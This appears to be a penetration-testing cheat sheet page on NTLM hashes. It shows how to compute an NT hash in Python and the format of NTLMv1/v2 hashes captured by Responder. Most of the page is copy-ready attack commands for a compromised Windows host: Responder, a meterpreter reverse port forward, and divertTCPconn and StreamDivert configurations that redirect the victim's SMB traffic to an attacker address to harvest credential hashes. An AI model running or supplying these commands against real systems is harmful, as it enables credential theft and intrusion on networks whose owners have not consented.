NTLM
NT / LM Hashes

Calculate NTLM

With Python:
>>> import hashlib
>>> hashlib.new('md4', 'Passw0rd!'.encode('utf-16le')).hexdigest()

Responder Capture Structure

[SMB] NTLMv1 Hash and [SMB] NTLMv1-SSP Hash capture structure:
<Username>:<Domain>:<LMv1_Response>:<NTv1_Response>:<Server_Challenge>
[SMB] NTLMv2-SSP Hash capture structure:
<Username>:<Domain>:<Server_Challenge>:<LMv2_Response>:<NTv2_Response>

Capture NTLM on Windows

DivertTCPconn

Divert incoming SMB traffic on Victim to Victim's local port 8445, sent it through a reverse-forwarded port (meterpreter session must be elevated) to Attacker's local 445 port and capture the hashes with Responder:
$ sudo ./Responder.py -I eth0 -Av
meterpreter > portfwd add -R -L 127.0.0.1 -l 445 -p 8445
meterpreter > execute -f divertTCPconn.exe -a "445 8445"

StreamDivert

Divert all inbound TCP connections to port 445 (SMB) coming from 192.168.1.11 to 10.10.13.37 port 445:
Cmd > powershell -c "Add-Content conf.txt 'tcp < 445 192.168.1.11 -> 10.10.13.37 445'"
Cmd > .\StreamDivert.exe .\conf.txt -f -v
Last modified 2mo ago